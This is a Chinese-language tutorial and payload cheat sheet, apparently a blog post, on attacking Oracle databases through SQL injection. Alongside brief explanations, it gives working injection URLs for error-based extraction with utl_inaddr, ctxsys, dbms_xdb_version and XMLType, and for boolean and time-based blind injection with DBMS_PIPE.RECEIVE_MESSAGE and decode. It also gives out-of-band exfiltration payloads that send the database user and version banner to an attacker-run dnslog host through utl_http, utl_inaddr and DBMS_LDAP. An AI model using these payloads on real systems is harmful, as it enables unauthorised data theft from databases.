Oracle注入基础
知识
-
Oracle中的dual表
- dual是oracle中的伪表 (之有一行一列)
- 每个用户都可以使用
- 也可能被删掉 sys可以恢复
如:
Tips:
1.Oracle的数据类型是强匹配的(MysqL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
2.Oracle的单行注释符号是-- ,多行注释符号/**/。
判断Oracle数据库
- 利用函数来判断是否oracle数据 如:and len('a')=1
(在mssql和MysqL以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。) - 也可以通过dual来判断是否为oracle
select count(*) from dual where 1=1 and (select count(*) from dual)>1 --
select count(*) from dual where 1=1 and (select count(*) from dual)>0 --
报错注入
- 利用 utl_inaddr.get_host_name
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。
http://www.test.com/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual))--
- 利用 ctxsys.drithsx.sn()
http://www.test.com/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
- 利用 dbms_xdb_version.checkin()
http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null–
- 利用 dbms_xdb_version.makeversioned()
http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
- 利用dbms_xdb_version.uncheckout()
http://www.test.com/oracle.jsp?name=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
http://www.test.com/oracle.jsp?name=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
- 利用ordsys.ord_dicom.getmappingxpath()
http://www.test.com/oracle.jsp?name=1' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
http://www.test.com/oracle.jsp?name=11' and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
- XMLType
在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以。
http://www.test.com/oracle.jsp?name=1'and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
Oracle带外通信获取信息
- utl_http.request()
http://www.test.com/oracle.jsp?name=1' and 1=utl_http.request('http://10.10.10.10(自己搭建dnslog或者用现有的):80/'||(select banner from sys.v_$version where rownum=1)) --
- utl_inaddr.get_host_address()
http://www.test.com/oracle.jsp?name=1' and (select utl_inaddr.get_host_address((select user from dual)||'.sssss.com(自己搭建dnslog或者用现有的)') from dual)is not null --
- SYS.DBMS_LDAP.INIT
http://www.test.com/oracle.jsp?name=1' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.sssss.com(自己搭建dnslog或者用现有的)') from dual)is not null --
布尔盲注
这里的布尔盲注跟MysqL没有感觉有什么大区别,时间盲注感觉也是一样 只是函数的不同
``` **18031200424' AND ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s AND 'aaa'='aaa" % (i,ord(payload)) ``` 附上一个案例 http://wooyun.chamd5.org/bug_detail.PHP?wybug_id=wooyun-2016-0213757
时间盲注
- 使用DBMS_PIPE.RECEIVE_MESSAGE()进行时间盲注
http://www.test.com/oracle.jsp?name=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
实际用法:
http://www.test.com/oracle.jsp?name=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
- 使用decode()进时间盲注
(select count(*) from all_objects) 会花费更多是时间去查询所有数据库的条目,所以以这种方式进行时间判断依据,这是一个骚气的方式。(类比OWASP测试指南中老虎机的案例)
http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,(select count(*) from all_objects),0) from dual) and '1'='1
使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注。
http://www.test.com/oracle.jsp?name=1'and 1=(select decode(substr(user,'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5),0) from dual) and '1'='1
相关资料:
http://www.freebuf.com/column...
https://www.iswin.org/2015/06...
https://ricterz.me/posts/%E7%...